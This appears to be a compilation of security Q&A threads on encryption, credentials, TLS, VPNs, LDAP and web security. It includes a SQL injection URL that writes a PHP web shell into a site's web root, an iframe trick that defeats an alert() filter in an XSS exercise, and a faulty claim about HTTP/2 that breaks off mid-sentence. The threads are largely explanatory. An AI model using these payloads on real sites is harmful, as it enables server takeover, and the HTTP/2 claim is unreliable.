How secure is this encryption plan? I am trying to figure out a good way to store a user's encrypted data in such a way that only the user can access it.

I have a master key located outside the web root, called $serverKey. And when a user log's in, I put another key client side with sessionStorage.setItem(). the $clientKey is set by sha256 of their plain-text password (which of course isn't stored anywhere). When the user submits data, I use openssl_encrypt() with $serverKey.$clientKey and store that in my database.

So my goal is that in order to hack the user's data you have to somehow get the master key and the client's key. What are the holes in this plan? I realize that changing and forgetting passwords causes problems, but I'm ignoring that right now.

in such a way that only the user can access it.

It makes no sense to encrypt the data the server have to operate (unless you are exploiting malleability). Fully homomorphic cryptosystems are infeasible now and not so well studied, so it is infeasible to protect user's data from a privileged party.

So let's suppose you try to mitigate offline attack, when an adversary obtains a dump of server db with user's data in it and tries to decrypt it without knowledge of user's passwords. The adversary is unable to modify the code running on the server and unable to monitor the data the server gets/gives from/to another users.

You use SHA-256 of the data having poor entropy, which means it is easy to make a dictionary brute-force. So my first advice is to replace SHA-256 with some KDF (hash functions intentionally made resistant to brute-force at cost of running time and memory), for example the Halting KDF, and have personal salt for every user.

Changing passwords is not a problem because you are able to re-encrypt the data.


Managing db credentials for web applications Is there an alternative to properties files for managing DB (and other service) connection credentials for a group of web applications? Couldn't you use something similar to a service registry?

For example, the client web app would connect to the "credential registry" server with a key and then retrieve the DB credentials needed. That way, all credentials could be managed/updated/etc. in one place, in the credential registry. It would also be an alternative to having unencrypted passwords in a text file on the web server.

Do people do this in practice? Specifically, is there a more automated way to manage large numbers of credentials in a large number of applications/environments?

Yes, there are several tools that provide automating the best practices for managing a database credentials policy.

If you are using AWS then there is AWS Secrets Manager. For a cloud provider agnostic solution there is Hashicorp’s Vault which is manages secrets of all types.

If you want to deploy something locally in your own environment there is Conjur which is open source. There are also other commercial tools like okta and others


My website redirects to an unknown website I coded my own website and uploaded to a host. Some days ago I realised that in specific page suddenly redirects to an unknown websites, until 3-4 redirects.

The redirects are: mywebsite.com/smth-> es.webtraffapi01.selfip.com/smth -> 52342123.g03.info/?p=smth -> es.webtraff.com/smth

I have checked the file which gives me the problem and I don't see any redirect to a unknown website. I have downloaded all the files with FileZilla and checked with Avast Antivirus and Virustotal website and 0 virus appeared.

I don't what can be the problem.

additional, to what RyPeck said, you should check, if a .htaccess - file might be found in your docroot, containing malicious redirects (if so, the attacker has write-access to your docroot and your server is probably hacked)

is this url you mentioned (mywebsite.com/smth) a valid url for your site?
what are your running for a software? (eg wordpress, drupal'n'such)
is it static (html) or dynamic (php), is content loaded from a database?


Are HTTP brute-force password-guessing attacks common nowadays? Are brute-force attacks against online accounts (gmail, facebook, instagram)  something that really happens? I don't mean something like cracking password hashes or DDoS, but real brute-force attacks (e.g., password guessing) using a botnet or proxies.

I think most big web applications are secured against this using things like rate limits so it does not seem realistic to me but I would like to know if there are any known publications / statistics.

I prefer to call them "online password guessing attacks" since "brute force" has a specific meaning that may not always apply to these attacks.  But yes, they do still happen and here are a few example stats for you:

Microsoft: “we detect more than 10 million credential attacks every day across our identity systems.”

Akamai: They observed “999,980 IPs were involved in the attacks against [a financial institution] customer's login page.” 427 million accounts were checked in a one week period.  Also saw 817,390 IPs making 388 million login attempts using 65 million email addresses against an entertainment industry customer.  Comparing source IPs of both attacks, they found 70% match, implying the same org was responsible for both attacks, or that they used the same botnet.

Google: “We’ve seen a single attacker using stolen passwords to attempt to break into a million different Google accounts every single day, for weeks at a time. A different gang attempted sign-ins at a rate of more than 100 accounts per second.”  This was reported in 2013, but I'm sure they still face similar attacks.

Taobao: Taobao was attacked via an online guessing attack over a few days in Oct 2015.  The attackers used 99M credentials collected from other sites. 20.5 million credentials matched Taobao accounts, which was about 1 in 20 of their total annual active buyers.  Wasn’t detected until November, however Alibaba says at the time their security systems discovered and blocked the vast majority of log-in attempts. Still resulted in around $1 million of fraud transactions on their site.

In these cases these sites may have rate limiting or other adaptive authentication controls in place, but they aren't 100% effective in preventing all account takeover attempts.


Is using a self signed certificate safer than a free ssl certificate? I have a personal website/email server, basically for my own self learning use. I am using CACert (http://www.cacert.org/) for my SSL certificate as advised in a tutorial. I have no clue about security, so please pardon this simple question.

Ok, so my question is, would directly using my own generated certificate without third-party (CACert) involvement be safer? Could the third-party become a weak link or be used to compromise, perform a MITM attack?

I am not bothered about the browser complaining that the certificate is not trusted, especially since CACert is also not trusted by 99.9% of the internet.

SSL certificates provide two things:

Authentication of the organization to whom the visitor is connecting (the organization is verified to be www.foobar.com)
Confidentiality of the communication (data is encrypted using the public keys in the certificate)

Concerning point 2, there's no difference in using a self-signed cert, a certificate issued from a free CA such as CACert, or a paying CA, since the strength of the encryption depends on the characteristics of the key pair you generated (a default 2048-bit or 4096-bit RSA is fine).

Therefore what it interests us is point 1, since it's the CA who verifies and certifies the identity of the remote website. It all boils down on how the CA verifies these websites. In this regard, using an external free CA untrusted by browsers doesn't make much difference from using a self-signed cert. Therefore I would go for a self-signed cert in this case, as you can generate it yourself without hassle (just make sure you're doing this properly!).

You can safely use a self-signed cert if your website is for internal use, say your friends, or a group of people. (From what I understood from your question, this is your case.) However, if your website is public-facing and you want to do things in a proper and professional way, you should buy a SSL cert from a recognized CA.


Source code of Firefox Add-ons How can I be sure that a browser add-on that is released under the GPL is actually really using the source code that was published?

I read somewhere that the source code of Chrome add-ons is viewable in the Chromium browser directory, is this the same way with Firefox plugins?
I guess not because otherwise there would be no discussion found online regarding the source code of Firefox Add-ons.

Firefox add-ons are an XPI file. You have to locate them and then just right click and extract them using tools like 7-Zip.

If you can't locate the addon on your computer then just go to the download page where you can download that particular addon --->  Then right click and select save link as or save target as and save the addon file to your local disk.

After that simply open the .XPI file with any zip extraction software like 7-Zip or WinRAR. The extracted contents might contain the code files.

  PS: You can't get source code of every addon by just extracting the addon file. For some add-ons the extracted content may not contain the code files!

If the addon is open source, you should be able to find the source code of addon on respective website.


Why do I get all of these bad header checksum messages? Every time I open my browser, I get tons of these bad header reports. What does this stem from?

Probably because, as Wireshark notes on the first red line in the display, your OS and network adapter are doing IP checksum offloading, and the packets in question are being sent by your machine, so that the CPU sends them to the network adapter with the IP checksum set to 0, and the network adapter computes the checksum and fills it in before sending the packet.

As the mechanisms used by libpcap/WinPcap to capture packets sees transmitted packets before they are handed to the network adapter (the only way for to see them after they're handed to the network adapter is to attach a separate network adapter to the network and capture them after they've been transmitted on the network), they will see packets with an IP checksum of 0.


How pincodes used as an authentication mechanism? I'm designing a login system for my mobile app where users only need to provide a pincode to authenticate into the app after they sign-up.

I'm more wondering how the backend would work in such a system in general. To begin with, is the pincode saved on the device or server? If it's on the server, then how it's passed to the server? Or how it's associated with the username-password tuple?

Thanks in advance.

How pin codes are used, like passwords, are numerous and varied.

Sadly, there are still a lot of implementations that simply keep the pin/pass in clear text in a table (DB or Flat) correlated with the User ID.

Better, is a HASH of the pin/pass is kept correlated with the User ID. That way if the DB is compromised, they don't get clear pin/pass information. Thieves of the server table would need to break the hash, but widely available rainbow tables make that very viable.

Better-Still, is a HASH of the pin/pass + SALT. SALT is a random addition that eliminates the use of pre-computed hash/rainbow tables. Now a table thief has to spend time attempting a brute force attack. Note that with a small pin, this is quite viable as well.

Better-Still-More, is to add "round counts" of hashing the hash of the hash of the hash a few thousand to million times. This requires a thief to know the round count and if the count is large enough to require 2-3 seconds per attempt, brute force becomes even more difficult. Note that a small pin is still vulnerable.

The Bigger Concern and most common mistake made again and again is failure to prevent direct online brute force attacks. People make mistakes and need to be allowed multiple attempts, but a realistic limitation along the lines of say, 5 attempts within a 3 minute window, accounts for humans but hundreds of attempts at impossible typing speeds is an attack, don't allow that! The Linux utility "Fail2Ban" is handy for blocking these kinds of online attacks. Too many attempts within the window, block the IP for 30 minutes. A real person can wait it out to try again, but an automated high speed attack will generally give up and move on.


Securing password in Java (config file and memory) I have to store password to some other system in config file in my Java application (web app running on Tomcat). What are my options to protect it (both at rest and in memory)? (Hash is not an option)

at Rest: if I will encrypt the password in config file, where will I store a key? in other config file? doesn't sounds right...I don't want to hardcoded it in the code.

in Memory: I read that I shouldn't use String but char[], but still if somebody will dump the memory he will have the password. Does Java have something like SecureString in .Net?

Thank you

Your saving password is a duplicate question. If someone rings up your java application , it is better to get required password(s) by user or system admin who is responsible for the application run.

After you get the password . Never save it as a string. Because stings in Java are immutable and you do not have any control of those memory blocks (only JVM along with GC does). Try to store them in char[] in memory and do not use toString().

If you are dealing with a UI do not use methods such as getText() to retrieve a password. Use getPassword() method in JPasswordField as an exmaple.


Using a weak password on a truecrypt volume I have put together a portable apps USB stick for when I need to use random site computers, I also threw truecrypt on with an encrypted volume for some word documents.

The password I am using is much weaker than what is recommended (just a 4 digit number). The way I was thinking about it is this is still at least as secure as the windows xp laptop I cart around anyway, which has the same documents on it. My aim was to make it at least a little wrong for someone to access the documents, sort of like a padlock to keep out the honest criminals.

Is my logic flawed here?

Formally, yes. You have identified a level of residual risk you are prepared to accept, based on a threat analysis, and have implemented controls to manage the risk down to this level.

Informally, as others have pointed out, if a control can be made very much stronger with very little cost, then you should do it anyway. Risk analysis and threat modelling are not very precise sciences.

Something like Courage8366gapor is not hugely more difficult to remember or type compared to a 4 digit PIN code, but the PIN takes under a second to brute force and the passphrase would take somewhere between 2 days and ten times the age of the Earth.


Recover GPG private key from known encrypted file content? Long story short, I lost a GPG key which I used to encrypt some sensitive stuff. Hopefully, I got some files encrypted two times, one with the key I lost, and one with one I still got.

My question is simple: knowing some decrypted data, can I recover in any way the private key I lost using one or many of those files?

I’m sorry for you but no, you cannot.

Your public key is (meant to be) public, so anyone should be able to generate thousands of files encrypted for your private key. If it were possible to deduce the private key from matching cleartext and encrypted file, then the encryption scheme would be (very) weak.


Why does the SQL Injection technique INTO OUTFILE sometimes not work? Why does the SQL Injection technique INTO OUTFILE sometimes not work?

http://example.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/shell.php"

Is there any workaround for this when it doesn't?

It depends on the privileges the dbuser has. If there's no file privilege, into outfile just doesn't work. No bypass for that.


Server situated on two physical networks - Bad idea or not The run down:

Windows Server A (from here on referred to as 'the server') exists on the corporate network (ref as Corporate).
A separate physical network exists for the Telecommunications Department - we'll call it Telecomms Network.
A Telecommunication "Specialist" from another department is trying to convince managers to add in an additional network card in the server.  He then proposes that the second network card be provisioned on the Telecomms network so that the Telecomms users have access to the machine and its data.

I flat out said no and that they should look at implementing DMZ's and proper Jump Server / Firewall rules for this.

I need to back up my statement with a few guides and recommendations from published sources otherwise my manager and subsequent managers will just think I'm being difficult.  Its hard working with a bunch of Electrical Engineers.

(TL;DR)
My question is this, are there any resources / recommendations available to me that clearly outlines the above mentioned scenario?  One server, on two networks?

I think I would tackle it in this manner:

  Why is there an existing separation of the physical networks?

By installing another NIC in the server and connecting it to the other network you are in effect bridging the networks, physically and via NetBIOS. This renders the whole point of keeping the networks separate essentially moot.

  What is the sensitivity / classification of the data stored on the server?

This would help determine what level of protection needs to be deployed to protect the data on the server.

If you do lose this battle (the cost for an additional network card is MUCH cheaper than a proper firewall / DMZ architecture) there are still a few things you can do to help reduce the risk such as configuring IPsec to only allow the specific ports & protocols required for specific individuals to access the information.

I know you asked for specific quotes from published sources, but I think they may be a bit difficult since this a fundamental security philosophy of "keep things separate - access to information on a need to know basis" type scenario.


Can I change my public IP address to a specific one? It happens that I participate in a bug hunting program and analyzing the app I realized that there is a particular parameter that is very important for access control and that only changes with the IP address.
Anyway, the question here is if I can set a specific public IP address. I don't need to receive a response, just issue a request to parse the request.

You can send out a packet with whatever IP address you like.
Then, one of the routers along the way might decide the packet makes no sense (it is a "martian packet") and discard it. Consider this:
                                                       | 192.1.1.1
                                 +------------------- GW4
                                 | 192.168.1.1
             +----------------- GW2------+
             | 192.168.16.1              | 192.168.33.1
      +---- GW1 -----+             ---- GW3 ----
      |              |
192.168.16.15   192.168.16.243
     YOU           ALICE

You send out a packet with a source address of 10.0.0.36 and directed to, say, 172.16.16.172. GW1, serving your network which is 192.168.16.0/24, only expected to receive packets matching 192.168.16.0/24, and your packet doesn't match, so it is dropped. You could spoof a connection coming from your "neighbour" Alice, but no more.
Even if GW1 did not complain, it would forward the packet to the next hop, which serves the whole 192.168.0.0/16 branch and also would ignore your packet.
And so on and so forth (the IP I used are actually not all that routable, but it's an example).
Granted, many routers won't do "ingress filtering" because they'll be obsolete or will believe it unnecessary and not cost-effective. But it only takes one hop to wreck the transmission.
Even without this hurdle, the difficulties are not over, because let's say you succeed in delivering to your target a packet coming from 10.0.0.36. The target will reply -- and will reply to 10.0.0.36, so the reply packet will never get back to you. Indeed, should the reply packet arrive to 10.0.0.36, the latter would simply reset the connection as unsolicited.
This is a problem, because most protocols where you "only need to issue a request" are in fact sent over TCP, which requires a handshake between the communicating parties before any data can be sent. The major exception is HTTP/2,
And without that first reply packet you have precious little chance (not the same as zero chances, but still) of establishing a full TCP connection, without which you probably won't be able to send your request.
You might be able to do this using UDP, or other protocols which have no handshake, if the target application uses UDP (it probably doesn't).


How would a SSL tunnel be exploited? I am looking at our CI (Bamboo) Server initiating an outbound connection to setup a SSL tunnel to an agent running on an AWS ec2 instance. As per the documentation:

  All traffic sent between the agents located in EC2 and the Bamboo
  server is tunnelled through an SSL-encrypted tunnel. The tunnel will
  be initiated from the Bamboo Server to the EC2 instance, which means
  that you don't need to allow any inbound connections to your server.
  You will need to permit outbound traffic from the server on the tunnel
  port.

Now I understand what a SSL tunnel is and this may sound like a naive question, but what are some ways a SSL tunnel can be exploited to send malicious data to the CI server if the ec2 instance is compromised?

Reference:

https://confluence.atlassian.com/bamboo/elastic-bamboo-security-289277195.html

If I understand this correctly, normally, the Bamboo server is the one sending code and instructions to the EC2 instances.

This means that assuming that there is no remote code exploits in Bamboo that allows the EC2 to command the Bamboo server, then these are the possible things that the attacker can do:

Steal source code
Return fake test results, corrupting your results
If you used passing tests on CI to trigger continuous deployment, then it can trigger deployment
If your CI builds a package or image as a build artefact, which can later be deployed to production, then the compromised EC2 can inject malicious code into the build.

The SSL tunnel is the least of your worry; all it does is provide a secure tunnel between your Bamboo server and EC2.


How does the user agent know who is logged in? (Using auth codes) When using Authorization codes (in the Explicit oAuth2 flow), the user agent never seems to see anything other than the auth code, which does not even identify the user. The code is then sent client, who will now know the user's identity and can access the protected resource. But the user agent still seems to be kept in the dark about who is logged in.

So how does a user agent know who is logged in?

What you're refering to is session management, which is not part of the OAuth 2 specification.

In practice, for session management many solutions make use of the HTTP session. After successful authentication the server stores whatever user related information in the HTTP session on the server side. If you close your user agent/browser, it will kill the HTTP session, in which case you'd have to login again. Except for the HTTP session, the user agent doesn't actually need to know any of the tokens involved.

If you want a user's session to persist even after closing a browser, one way would be to use cookies.


running botnet for analysis I a very curious to understand botnets practically.
I want to run a p2p botnet (storm or waledac) for analysis and learning.

I have mainly two issues:

Where can i get access to binaries of either of the two?
How do I create a testbed for running the binary?

I found out that honeypots can be used for running the same, however I didn't find any suitable document that walks through the complete process of building and running botnets in a local environment.

Kindly share your ideas.

A lot of botnet are actually "commercial" software, in the sense that you have to pay like a licence to get them (even underground commerce remains a commerce... actually you may even find that botnet developers actually offer paid support for their tools!).

However, you may find older botnets or versions (ie. software widely known by current anti-viruses) for free on the web for your study (be careful where you put your steps, do not infect yourself during your searches!).

Be carefull to use only a dedicated and airgaped network for this, then a bunch of virtual machines will be able to act either as infected machine or C&C (Control and Command) roles in your own educational botnet.


Certificate Validation Sorry if this has been asked before, but I couldn't find an answer anywhere. Maybe I overlooked something, but I just can't wrap my head around how certificate validation works.

This post details how SSL / TLS works, but when it comes to certificate validation, things aren't so clear to me.

As I understand it, the point of certificates is to guarantee that I, as client, correctly identify the certificate (e.g. Google, I will use Google as an example from now on) and ensure a public key exchange.

To simplify things, I will assume there is no certificate chain, that is, the certificate Google sends is a trusted root certificate. Now, Google sends me this certificate (a byte stream, let's call it B) that is signed using the CA's private key. Using the CA's public key, I am able to verify that indeed the certificate was signed using the CA's private key, thus trust is ensured.

The question I have is this: Is this byte stream (B) that Google sends to me always the same? Does Google send the same thing when creating a secure connection? If so, what stops me from taking this and using it to incorrectly identify myself as Google? If it is unique to each request, then it seems that Google needs to always contact the CA to encrypt it using their private key.

What am I getting wrong?

After you have validated the certificate is real and valid, you can then use the public key on the certificate to encrypt your communications. Since the server is theoretically the only party with the private key they are the only ones who can decrypt your message. The message you send back usually contains information to set up a more permanent two way encrypted channel.

So, if an attacker takes the stream of bytes that is Google's certificate, and presents it to you - you may indeed think that they are Google. However, the attacker won't be able to continue communication with you - they won't be able to understand your reply because they don't have the means to decrypt it.

The servers private key can also be used to digitally sign content which can then be verified with your public key. So, you can be sure that content you receive was validated by an owner of the certificate (ie the server) at some point for some purpose - an attacker can still take the whole signed content and present it to you but won't be able to change any details or the signature won't match. Often content signed like this has dates included and/or other methods, such as intended recipient, to ensure the effectiveness of doing the above is reduced or eliminated.


If my VPN provider sees all my traffic, who sees their traffic? What I understand is that when you connect to a VPN, all your Internet traffic goes through something like a tunnel, and your VPN provider can see everything you do, but your ISP only sees that you are connected to a VPN. What happens at the VPN provider's side? Do they not need to connect to an ISP themselves, or are they connected to the Internet backbone or something like that?

Your VPN provider can, technically, "see" your traffic, and so can their ISP after it has been "laundered" through the VPN itself.

In this example, I am going to talk about OpenVPN because I am most familiar with it, and most VPNs use it. I am also going to assume we're talking about non-https traffic (like regular HTTP or SMTP mail). When your VPN traffic leaves your computer via the VPN adapter, it is encrypted - i.e., your data is turned into pseudorandom noise, and then a wrapper is placed on it so your ISP can properly route the traffic. The packets have to be routable to the VPN, which means your ISP has to have some information

So, your ISP sees that you have data (that looks like unintelligble garbage). Your ISP sees that you  are sending traffic, but has no idea what it is or where its ultimate destination is. It just knows "I have to send this to x.y.z.a" which is the VPN provider.

Once the packet arrives at the VPN provider, they can decrypt the packet with their private key. At this point, they could cache it, log it, keep it, examine it, etc... But, a reputable VPN would be doing themselves a disservice to do this since it violates the customer trust and such a revelation would put them out of business. Additionally, most of them want the ability to tell a government authority "we can't help you because we don't have logs."

Now, once they decrypt the traffic you sent them, they then forward the traffic on to wherever it is destined to go. At THIS POINT, the traffic is visible to by standers.

But, because you are "emerging" onto the internet from the VPN provider's IP address instead of your own, we have effectively "laundered" your traffic by concealing its source IP address through the VPN provider. Third parties, including the remote webserver, do not know the original source of the traffic. When they reply, they send it back to the VPN, the VPN then re-encrypts it and relays it back to you. So, you now the remote party, but the remote party doesn't know you.

So, assuming that the VPN server at the provider has a big, fat fiber connection, the ISP cannot read inbound packets from you, but can fully read outbound packets that are destined for the remote server. (Later, on the return trip, it can read "inbound" packets from the webserver to the VPN provider, but cannot read "outbound" packets from the VPN provider to you).

So, it looks like this:

You < ---- Encrypted --- > VPN Provider < --- in the clear --- > webserver

Now, if you are visiting an HTTPS site (SSL / TLS) it looks like this:

you < === double encrypted === > VPN provider < --- single encrypted --- >

Because the HTTPS session encrypts your data end-to-end. So, wrapping it in the VPN encrypts the encrypted data while it is en-route from you to the VPN provider. When the VPN provider unwraps it to re-forward it, the payloads it sees are encrypted blobs of data that are useless to them. Only the remote computer can decrypt that data.

So, with https (SSL / TLS) your ISP can't see the data irrespective of the VPN's presence; however, the VPN double encrypting the data conceals where it's going to them and conceals who you are to the remote server. So, there is still added protection here.

A note on DNS

Your VPN connection also should be configured to provide you additional protection for your DNS. The VPN should encrypt the DNS requests to the VPN provider and allow your DNS lookup to take place either at the VPN provider or from the vpn provider giving you plausible deniability that you ever even looked up the site you visited.


If a computer is connected to a proxy, will all outgoing traffic go through that proxy? My computer is connected to a local proxy. I want to know whether the outgoing script traffic from my computer goes through that proxy. If it is true  how can I know? I'm using PHP scripts.

If your computer is connected to a local proxy this does not mean that all traffic is passing through this proxy. Only the applications which are aware of the proxy will use it. All other application will not use the proxy which means that they either have no connectivity at all (if the proxy is the only connectivity) or that they bypass the proxy and connect directly to the target.

Applications which are aware of the system wide proxy setting you have configured are usually the browsers (although Firefox and Chrome can have separate configurations too) but usually not some PHP programs you execute on the system.


XSS on reflecting parameter A website reflects the parameter I send, but the user input is accepted in the form of string.

Hence whatever I search is reflected as

<meta property="og:title" content="hello _userinput_ to xyz" />

in the source code.

I tried to end the string sequence with " but the " character is filtered using &quot

So the above code becomes

<meta property="og:title" content="hello &quot; to xyz" />

Also I noticed that certain keywords like > returns &gt;

I also tried to start from newline using the # character, but that gives me a 400 bad request.

Now, because my input is getting reflected in the page, I thought I could carry out an XSS attack.

Is it possible to escape the string and execute any script there?

Just because user-entered text is reflected into a page doesn't automatically mean there is an XSS vulnerability; a lot of websites require this type of functionality.

From what I see, it looks like the website is properly HTML-encoding your input, so characters are returned in a safe format that render correctly but do not affect the surrounding HTML. However, you have to be careful when putting user input into an attribute, and there could be mistakes with the filtering/encoding. See the OWASP XSS prevention cheat sheet:

  Except for alphanumeric characters, escape all characters with ASCII
  values less than 256 with the &#xHH; format (or a named entity if
  available) to prevent switching out of the attribute.

So, you could keep trying other characters until it breaks.

That's the main reason it's probably not going to work, but there could be other preventions in place as well (e.g. Content Security Policy).


How do you log in from an unsecured computer? Suppose that you are on a cybercafe, at a friend's home or at your work office, and you need to log in on a site, but you feel that the the computer can not be trusted (e.g. your friend isn't tech-savvy and doesn't know how to protect his machine and there is a possibility that his pc contains some kind of malware harvesting passwords)

In those kind of scenarios, how would you be able to log in on a site minimizing the risks?

Some very good answers already. Here is what I think the best options are, in order of preference.

Don't do it.
Don't do it.
Don't do it. An untrusted machine can do anything. What if you login to online banking with a one time password, and malware immediately initiates a wire transfer?
Only use systems with one-time-passwords (per Thomas Pornin).
Only use systems with 2 or more factor auth (per naw)
Use KeePass with Two-Channel Auto-Type Obfuscation (per naw), AND change passwords immediately afterwards (within minutes if at all possible).

I find a great option is to say something like "Sorry, I only store my passwords in KeePass, and I don't have them with me". This can lead nicely into a discussion about good password practices - and that way you've helped educate some people about doing the right thing, without sounding like a paranoid ass :)


How can I report a security flaw - such as using plaintext passwords - and get a positive outcome? I seem to find myself doing this a lot. Maybe there's something about colleges and universities contracting out to bad webdev firms, but I've emailed 3 different firms to complain about them holding passwords in plain text.

One of them, UCAS has the majority of my personal details, and refuses to acknowledge that it's bad that they send your email, password and ID number in an unsecured email when you go through a 'lost password' form.

At the end of the day, I want to help firms improve their software, for their sake and mine, but it seems many take it personally or as if I'm discrediting the company when I point out a flaw.

I always emphasise that I'm reporting it as I want the problem to be fixed, and that I have no intention of exploiting it or sharing the details.

What can I do to increase the likelihood of a successful outcome in this situation?

Is it even my place, as a user of the system, to do this sort of thing?

I would politely email them informing them that you have discovered a security vulnerability (i know you've done this already) and then show them evidence (you capturing your friends information through wireshark, for example. With informed consent on your friends part) and a polite explanation of how trivial it would be to capture information from hundreds of students in the course of a day, without even having to sit at the computer.

I, personally, would also volunteer to that you would be happy to show them what the vulnerability was, and let them know that you plan to present their solution school newspaper (newsletter whatever) so that they can show how they are always improving and even catch mistakes made by other groups (like their web dev people)

So, honestly the biggest thing is usually to give them a deadline and to let them know that this will be published and when you plan to. This gives them a deliciously evil choice....fix it and look good for fixing what was a bad problem, OR not fix it and look like they don't know what they're doing for not checking things that they should be aware of. It becomes their problem of how they are going to look, not YOUR problem

EDIT: I read your email transcript. My last paragraph holds true. The best usual thing to do on these is tell them that you intend to publish to whoever that you have found a vulnerability. Dont be overly annoying (YOU HAVE THREE DAYS OR I GO PUBLIC) give them a decent amount of time a couple weeks to a month for them to fix this.

At the same time, they could probably find or even make a replacement for this within a few hours if they're good or a day or two if they had to build it from the ground up. Use your best judgement.


Is it secure to be using LDAP, or is LDAPS the only secure option? I am currently using an LDAP setup.  I am wondering if it is secure from Man-in-the-middle attacks or other vulnerabilities?

LDAP, by itself, is not secure against active or passive attackers:

Data travels "as is", without encryption, so it can be spied upon by passive attackers.
Active attackers can manipulate the stream and inject their own requests or modify the responses to yours.

At best, basic LDAP may rely on some authentication mechanism (through SASL) which is not trivially broken by an attacker: if the authentication is of the "show the password" type, then a passive eavesdropper can learn the password and then connect to the server with your identity; slightly more advance protocols, like CRAM-MD5, avoid that specific problem, but will still do nothing against attackers hijacking your connections or spying on your actual requests and responses.

So, really, if you value your security, then use SSL (i.e. "LDAPS"). In many respects, this is just like HTTP vs HTTPS.

As a side note, the Active Directory protocol from Microsoft, which builds up on LDAP, optionally offers a "sign & encrypt" feature, which appears to be some sort of cryptographic protocol embedded within LDAP (i.e. like LDAPS, but in reverse order), which might ensure enough security. I have not seen any decently detailed specification for that protocol, though, so I still recommend LDAPS in that case.


Are HttpOnly or Secure flags needed if no login? My question is really simple, are HttpOnly or Secure flags needed if a website doesn't have a private part accessible with login?

It depens on whaty ou use cookies for.

HttpOnly makes the cookie unacessible from JavaScript. This is good for session cookies since it means that an attacker exploiting XSS can not steal them. However, in most situation you need to read the cookies with JS, and then setting the HttpOnly flag isn't really an option. So HttpOnly is mostly used for session cookies.

As for the secure flag, unless you specifically needs to send the cookie over HTTP you should always set it. Since the cookies are sent on all requests to your domain, even if they are not needed, it is easy to leak them if you just make one HTTP request. For instance, if you serve static images over HTTP and your cookies are not marked as secure you will send them unencrypted. If the cookies contain any sensitive data at all that is very bad.

So, to make a decision you need to understand both the purpose of these flags and what the cookies are used for. There is no blanket answer.


More than three domains hosted on the same IP address Not on purpose I did a reverse IP address look up on my site, and it shows that there are three other websites hosted on my server, and now I'm worried.

My web is arturofm.com, and here is the lookup:

https://reverseip.domaintools.com/search/?q=arturofm.com

It says:

  Reverse IP Lookup Results — more than 3 domains hosted on IP address 104.27.182.86

What does that mean? That I've been hacked? Or that Amazon AWS uses the same IP address to serve multiple domains?

This is not a sign of a problem for your server.  There's an important detail here, which is:
104.27.182.86 is not your server.  That IP belongs to cloudflare.
Cloudflare provides a large number of services to websites and sits in between the public internet and a server.  Someone who uses Cloudflare doesn't point their DNS to their own server - they point their DNS to Cloudflare, and then point Cloudflare to their server.  As a result, millions of websites point to Cloudflare's IP addresses.  Because they service more websites than they have IP addresses, they often direct multiple websites to the same IP address.
Apparently you use Cloudflare, and so the DNS for your domain points to them, not to your own IP address.  When your Cloudflare account was setup, you (or whoever set it up) would have pointed Cloudflare to the actual IP address of your server.  You can confirm this in two ways:

Here is the list of IP addresses owned by Cloudflare.  If you are unfamiliar with CIDR notation, the line which says 104.16.0.0/12 is of interest to you, as it includes all IPs from 104.16.0.0 to 104.31.255.255.
AKA, 104.27.182.86 is owned by Cloudflare, not AWS.
If you check your Elastic IP in AWS, you'll see that it is something other than 104.27.182.86.  Only Cloudflare knows the actual IP of your server - this is one of the advantages it provides, and one of the reasons why people use it.  Cloudflare sits in the middle so that the person requesting to view your website never communicates directly with your server.  In this way, Cloudflare is able to protect your server from a wide variety of attacks.

Additional Notes
The above details should make it clear that this is not evidence that you have been compromised.  However, here are some more related details for future reference:

Shared hosting sites will have multiple domains served from one IP address.  However, to the best of my knowledge, AWS does not offer such services.  If you sign up for a VPS directly from AWS, you should expect to be the only one hosting any services on the given IP address
Therefore, if you discovered that the DNS for other domains was pointing to the IP address of your VPS on AWS, and confirmed that the sites in question are actually being hosted on that IP address, then yes this would be a sign that your site had been hacked.
Fortunately, 104.27.182.86 is not the IP address of your server :)


Getting an alert box in JS without using alert() This is an XSS vulnerability I've found in a practice site. So, I need to create an alert() popup, but alert() is changed to prompt() by another script loaded before I give any input. (So I can't get rid of that script)
So how can I make an alert() popup?

The code strips <, >, and + (I've only found these three) but changing my payload and injecting them doesn't seem to help.

I've tried window\["alert"](1) which is also detected. So are window["al"+"ert"] and window["al".concat("ert")].

I think I need to find another solution instead of alert(), but I have no clue where to proceed from here.

Try with a fresh copy of window:

document
.body
.appendChild(document.createElement("iframe"))
.contentWindow
.alert("XSS");

you can cleanup/hide the iframe as needed, it doesn't have to navigate, it just has to exist to expose its global window methods. Think of it as a web worker with more built-ins. Note that even though chrome46+ block alerts from iframes, you're not calling it from the iframe technically, so it's allowed. This is also a decent way to avoid re-writes/fork to run a process that conflicts with pre-existing code which doesn't need the document's content to function, but needs DOM tools that Worker doesn't provide, like alert.


Encrypt user data when they log in with Facebook, Gmail, etc I made a login system. The user can login by:

using a normal email / password (bcrypted).
using a service like facebook, gmail, etc.

So far so good. Now I want to store sensitive information (ftp credentials) in the database in a secure manner. This is very easy for the first users: when the user logs in with their email/password, the password gets hashed with one (default) salt to check for authentication, and with another salt to obtain a strong hash X.

Then I use this hash X as a password to encrypt the sensitive data that the user wants to store. In this way, full access to the code and database does NOT compromise the user's data. *

Is there a way I can achieve a similar security level for the users that log in with a service that inherently have no password to begin with? Highly recommended to be a server-side hassle and not adding extra complexity for the user. These are all the options I can see with their problems:

Require for every user, even Facebook/Gmail/etc, to write and remember a password. This is agains the principle that made me integrate those services in the first place.
Use a server-side, site-wide unique encryption password. I want to protect against full access to the code and database, so no one (including developers/admins/etc) can peak into this private data.
Use some user-specific data. This would be the user Facebook's id, for example. It could be retrieved by simply doing a search for their email in fb, thus not secure.

You are asking to generate secret data from a single, non-secret source. It can't be done under those exact conditions. You need a 'source of secrecy'. You can try to squirrel a key away in a config file, perhaps encrypted with yet another key, or you can move some aspect to a different, secure machine, such as using a Hardware Security Module (HSM) to host your encryption and keys. But you cannot create a re-creatable secret out of a finite set of data and expect an attacker to not be able to replicate your feat.


Is apache mod_spamhaus still being maintained? I only found this:
http://sourceforge.net/projects/mod-spamhaus/files/?source=navbar
and that is from 2008

Is there any newer apache mod that is up-to-date?

Someone has experience with it? Maybe mod_defensible?

I've been in the hosting industry for years now and I've never even heard of these 2 ever being brought up in the industry by other professionals. Honestly, I would consider them "dead". Not too mention that the idea of blocking at Apache's level is not the best. You can better block IPs at the firewall and prevent them from hitting the server all together.


